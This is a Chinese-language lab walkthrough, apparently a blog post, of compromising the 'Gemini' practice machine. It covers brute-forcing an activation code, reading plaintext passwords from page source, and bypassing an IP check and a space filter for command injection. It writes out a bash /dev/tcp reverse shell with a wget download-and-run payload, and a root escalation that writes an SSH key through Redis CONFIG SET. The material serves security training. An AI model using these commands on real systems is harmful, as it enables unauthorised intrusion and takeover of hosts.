一、环境信息

攻击机:192.168.69.133

目标靶机:192.168.69.158

 

二、信息收集

1. 主机发现

使用 arp-scan -l 扫描局域网存活主机,发现目标靶机地址 192.168.69.158

arp-scan -l

2. 端口扫描

执行 nmap -sT 192.168.69.158 对目标进行全端口扫描,发现开放 80(HTTP)22(SSH)端口。

3. 目录爆破

访问目标网站首页。

使用dirb目录收集,-X .php专门收集以.php结尾的文件

dirb http://192.168.69.158 -X .php

扫描结果发现目标存在 registration.php 注册页面,访问该页面。

三、Web漏洞利用

 

访问 registration.php 进行用户注册(注册信息需尽量真实才能成功)。注册完成后提示账户未激活:Your account is not yet activated! Please submit the 6 digit code for activation

点击用户名进入 My Profile,发现当前 UID 为 15。访问激活码页面 activate.php,结合 UID 15 进行激活码爆破。

访问刚才爆破出来的activate.php页面,是激活码页面。集合刚才发现的uid15

使用 Burp Suite 抓包爆破,


第二步,先取消 URL 编码。

将并发线程数设置为 1 个。

然后开始攻击

最后爆破出来激活码为000511

使用激活码完成账户激活。

2. 登录与信息泄露

 

再次登录后,Profile 界面显示激活成功。

进入 UserList 界面,发现存在大量用户,点击刚才注册的用户 kexi1234。

查看页面源码,发现密码以明文形式写在页面中。

使用 md5.com 进行解密,确认即为刚才设置的密码。

现在尝试登录 91min1 用户,发现该用户为管理员权限。

查看页面源码,同样获取到该用户的密码并进行解密。

密码为:

secretpassword

尝试用别名和用户名分别登录 9emin1(即 Gemini)。

最终得出用户名/密码分别为:Gemini / secretpassword

登录后,发现他比普通用户界面多了一个功能,我们点击Execute Command 按钮并对他进行抓包

把抓到的数据包发送至repeater,点击send按钮,发现他显示NOT ALLOWED,不允许访问。

遂及我们在request里面加入 X-Frowarded-For:127.0.0.1,再点击send按钮,发现能够访问

显示当前命令执行,但是是无回显命令执行

 

在最后一行输入testcmd=ls –l,发现不成功,猜测他使用了空格过滤

 

将空格改为%09绕过

testcmd=ls%09-l

 

 

 

 

3. 反弹 Shell

vim 9999.sh

写入反弹 Shell 脚本:(注意这里的ip为攻击机的)

sh -i >& /dev/tcp/192.168.69.133/9999 0>&1

 

在攻击机上监听端口。

python -m http.server 9999

将以下代码写入 cmd 参数中:(这里的ip也为攻击机的)

wget%09%2dO/tmp/sh%09http://192.168.69.133:9999/9999.sh

 

 

 

将以下代码写入 cmd 参数中:

bash%09/tmp/sh

这里不能正常访问可以改为

chmod%09777%09/tmp/sh

 

 

 

 

启动监听,并发送请求

nc -nvlp 9999 

获得交互式 shell

python -c 'import pty; pty.spawn("/bin/bash")'

执行 ls 查看所有目录。

进入tmp文件夹,并查看目录

cat /tmp

ls

cat sh

查询内核

uname -r

版本较高,没有可利用的脚本

看开放的服务

ss -pantu

发现他开通了mysql和redis服务

 

 

查看进程

ps -ef | grep redis

ps -ef | grep mysql

cat /etc/redis

cd /etc/redis

ls

cat 6379.conf

 

查找关于pass相关的信息

cat 6379.conf | grep pass

找到了相关密钥requirepass :8a7b86a2cd89d96dfcc125ebcc0535e6

 

4. SSH 公钥写入与 Root 提权

首先在 Kali 攻击机上生成 SSH 公私钥:ssh-keygen -t rsa

cd .ssh

ls 查看生成的密钥是否成功。

 

接下来需要在目标靶机上创建对应的目录并接收公钥。

cd ~ 到根目录下。

创建 .ssh 目录:mkdir .ssh

进入 .ssh 目录:cd .ssh

注意:目标靶机上的 nc 版本可能过高,推荐使用较低版本的系统传输 nc,或直接使用 Python 命令接收数据:

python -c 'import socket; s=socket.socket(); s.bind(("192.168.69.133", 4445)); s.listen(5); c, a = s.accept(); open("./authorized_keys", "wb").write(c.recv(4096))'

(该命令为一行 Python 单行命令,通过 python -c 执行,核心作用是替代 nc 监听功能,在本地 4445 端口建立 TCP 服务端,等待客户端连接并发送数据,最终将接收到的数据写入本地 ./authorized_keys 文件中,本质是接收 SSH 公钥并保存到免密登录配置文件。)

 

然后回到 Kali,传入公钥:nc 192.168.69.133 4445 < id_rsa.pub -w 1

成功连接,尝试用 SSH 连接 gemini1 用户:ssh gemini1@192.168.69.133

尝试将 SSH 公钥写入 root 目录下的 .ssh 中。首先在 authorized_keys 文件内容的前后各添加两个空行,然后将结果保存到 pub.txt

(echo -e "\n\n";cat authorized_keys ;echo -e "\n\n") > pub.txt

该命令将传入的公钥进行格式转换,确保 Redis 能够成功读取并保存。

然后把公钥写入 redis 数据库中,后续在导出到 root  目录下的.ssh 中

cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key

然后将公钥从 Redis 数据库中写入到 root 用户的 .ssh 目录下:

先连接 Redis:

redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6

(通过 Redis 官方命令行客户端 redis-cli,使用指定密码快速登录/连接 Redis 服务。)

config    set dir /root/.ssh

(通过 CONFIG SET 命令动态修改 Redis 运行时配置,将其持久化文件的保存目录设置为 Linux 系统中 root 用户的 SSH 配置目录 /root/.ssh。)

config set dbfilename "authorized_keys"

(通过 CONFIG SET 命令动态修改 Redis 运行时配置,将 Redis RDB 持久化快照文件的文件名设置为 SSH 免密登录所需的 authorized_keys 文件。)

Save

然后就可以尝试 SSH 连接 root 用户了。

 

Ssh root@192.168.69.158

实验总结

本次 Gemini 靶机渗透测试实验综合运用了信息收集、Web 漏洞利用、命令执行绕过及 Redis 提权等多种技术。以下是实验过程中的关键注意事项:

1. 信息收集阶段

  • arp-scan 扫描时需确认攻击机与目标处于同一网段,避免因网络隔离导致扫描失败。

  • nmap 全端口扫描耗时较长,实际渗透中可先用 -sS 快速扫描,再针对开放端口进行详细探测。

  • dirb 目录爆破建议配合多字典和多扩展名,避免遗漏关键页面。

2. Web 漏洞利用阶段

  • 注册时信息需尽量真实,否则可能无法成功注册,影响后续测试流程。

  • 激活码爆破需结合 UID 进行,不同用户 UID 不同,不可直接复用他人激活码。

  • Burp Suite 爆破时建议将线程数设为 1,避免因请求过快触发防护机制或导致结果不准确。

  • 无回显命令执行需通过 DNSLog、HTTP 外带或反弹 Shell 等方式验证命令是否执行成功,不可仅凭页面响应判断。

3. 命令执行与 Shell 获取阶段

  • 空格过滤绕过可尝试 %09(Tab)、${IFS}$IFS$9 等多种方式,根据实际环境选择可用 payload。

  • 反弹 Shell 脚本需提前在攻击机监听端口,注意防火墙放行对应端口。

 

 

 

 

Logo

欢迎加入DeepSeek 技术社区。在这里,你可以找到志同道合的朋友,共同探索AI技术的奥秘。

更多推荐